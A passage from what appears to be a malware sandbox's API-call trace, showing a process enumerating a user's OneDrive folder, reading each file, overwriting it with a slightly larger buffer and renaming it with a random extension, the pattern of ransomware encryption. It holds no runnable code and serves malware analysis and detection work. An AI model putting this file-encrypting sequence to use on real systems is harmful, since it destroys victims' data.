nFileSizeHigh=0x0, nFileSizeLow=0x123c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayLogo.png", cAlternateFileName="AUTOPL~1.PNG")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9238c50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5d8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayOptIn.gif", cAlternateFileName="AUTOPL~1.GIF")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9238c50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x27f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayOptIn.png", cAlternateFileName="AUTOPL~2.PNG")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az-latn-az", cAlternateFileName="AZ-LAT~1")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="be", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn-bd", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn-in", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bs-latn-ba", cAlternateFileName="BS-LAT~1")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe925edb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectOneDriveLogs.bat", cAlternateFileName="COLLEC~1.BAT")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cy-gb", cAlternateFileName="")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0144.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0144.771] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.771] SetErrorMode (uMode=0x0) returned 0x1 [0144.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", lpFilePart=0x0) returned 0x53 [0144.771] SetErrorMode (uMode=0x1) returned 0x0 [0144.771] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplaylogo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.772] SetErrorMode (uMode=0x0) returned 0x1 [0144.772] GetFileType (hFile=0x1d0) returned 0x1 [0144.772] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x123c [0144.853] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", lpFilePart=0x0) returned 0x53 [0144.853] SetErrorMode (uMode=0x1) returned 0x0 [0144.854] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplaylogo.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.855] GetFileType (hFile=0x1d0) returned 0x1 [0144.855] SetErrorMode (uMode=0x0) returned 0x1 [0144.856] GetFileType (hFile=0x1d0) returned 0x1 [0144.856] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f92f0*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x28f92f0*, lpNumberOfBytesWritten=0x21d258*=0x1240, lpOverlapped=0x0) returned 1 [0144.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png", lpFilePart=0x0) returned 0x53 [0144.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png.2wpl8f", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png.2wpl8f", lpFilePart=0x0) returned 0x5a [0144.858] SetErrorMode (uMode=0x1) returned 0x0 [0144.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplaylogo.png"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9212af0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9212af0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x52d45000, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1240)) returned 1 [0144.859] SetErrorMode (uMode=0x0) returned 0x1 [0144.859] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplaylogo.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayLogo.png.2wpl8f" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplaylogo.png.2wpl8f")) returned 1 [0144.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", lpFilePart=0x0) returned 0x54 [0144.860] SetErrorMode (uMode=0x1) returned 0x0 [0144.860] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.861] GetFileType (hFile=0x1d0) returned 0x1 [0144.861] SetErrorMode (uMode=0x0) returned 0x1 [0144.861] GetFileType (hFile=0x1d0) returned 0x1 [0144.861] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x5d8f6 [0144.866] ReadFile (in: hFile=0x1d0, lpBuffer=0x1292fad8, nNumberOfBytesToRead=0x5d8f6, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x1292fad8*, lpNumberOfBytesRead=0x21d1d8*=0x5d8f6, lpOverlapped=0x0) returned 1 [0144.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", lpFilePart=0x0) returned 0x54 [0144.947] SetErrorMode (uMode=0x1) returned 0x0 [0144.947] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.952] GetFileType (hFile=0x1d0) returned 0x1 [0144.952] SetErrorMode (uMode=0x0) returned 0x1 [0144.952] GetFileType (hFile=0x1d0) returned 0x1 [0144.952] WriteFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0*, nNumberOfBytesToWrite=0x5d900, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesWritten=0x21d258*=0x5d900, lpOverlapped=0x0) returned 1 [0144.977] CloseHandle (hObject=0x1d0) returned 1 [0144.984] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif", lpFilePart=0x0) returned 0x54 [0144.984] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif.ck3ano", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif.ck3ano", lpFilePart=0x0) returned 0x5b [0144.984] SetErrorMode (uMode=0x1) returned 0x0 [0144.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x52e75b00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5d900)) returned 1 [0144.984] SetErrorMode (uMode=0x0) returned 0x1 [0144.985] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.gif.ck3ano" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.gif.ck3ano")) returned 1 [0144.985] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", lpFilePart=0x0) returned 0x54 [0144.986] SetErrorMode (uMode=0x1) returned 0x0 [0144.986] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.986] GetFileType (hFile=0x1d0) returned 0x1 [0144.986] SetErrorMode (uMode=0x0) returned 0x1 [0144.986] GetFileType (hFile=0x1d0) returned 0x1 [0144.986] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x27f2 [0144.986] ReadFile (in: hFile=0x1d0, lpBuffer=0x281aa38, nNumberOfBytesToRead=0x27f2, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x281aa38*, lpNumberOfBytesRead=0x21d1d8*=0x27f2, lpOverlapped=0x0) returned 1 [0144.988] CloseHandle (hObject=0x1d0) returned 1 [0145.040] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", lpFilePart=0x0) returned 0x54 [0145.040] SetErrorMode (uMode=0x1) returned 0x0 [0145.041] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.042] GetFileType (hFile=0x1d0) returned 0x1 [0145.042] SetErrorMode (uMode=0x0) returned 0x1 [0145.042] GetFileType (hFile=0x1d0) returned 0x1 [0145.042] WriteFile (in: hFile=0x1d0, lpBuffer=0x2907058*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x2907058*, lpNumberOfBytesWritten=0x21d258*=0x2800, lpOverlapped=0x0) returned 1 [0145.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png", lpFilePart=0x0) returned 0x54 [0145.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png.qreinu", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png.qreinu", lpFilePart=0x0) returned 0x5b [0145.044] SetErrorMode (uMode=0x1) returned 0x0 [0145.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.png"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x52f0e080, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1 [0145.045] SetErrorMode (uMode=0x0) returned 0x1 [0145.045] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\AutoPlayOptIn.png.qreinu" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\autoplayoptin.png.qreinu")) returned 1 [0145.047] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", lpFilePart=0x0) returned 0x54 [0145.047] SetErrorMode (uMode=0x1) returned 0x0 [0145.047] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\exclusionlist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.049] GetFileType (hFile=0x1d0) returned 0x1 [0145.049] SetErrorMode (uMode=0x0) returned 0x1 [0145.049] GetFileType (hFile=0x1d0) returned 0x1 [0145.050] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x4e5f [0145.050] ReadFile (in: hFile=0x1d0, lpBuffer=0x290a988, nNumberOfBytesToRead=0x4e5f, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x290a988*, lpNumberOfBytesRead=0x21d1d8*=0x4e5f, lpOverlapped=0x0) returned 1 [0145.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", lpFilePart=0x0) returned 0x54 [0145.067] SetErrorMode (uMode=0x1) returned 0x0 [0145.067] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\exclusionlist.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.069] GetFileType (hFile=0x1d0) returned 0x1 [0145.069] SetErrorMode (uMode=0x0) returned 0x1 [0145.069] GetFileType (hFile=0x1d0) returned 0x1 [0145.069] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a02c70*, nNumberOfBytesToWrite=0x4e60, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x2a02c70*, lpNumberOfBytesWritten=0x21d258*=0x4e60, lpOverlapped=0x0) returned 1 [0145.071] GetFullPathNameW (in: 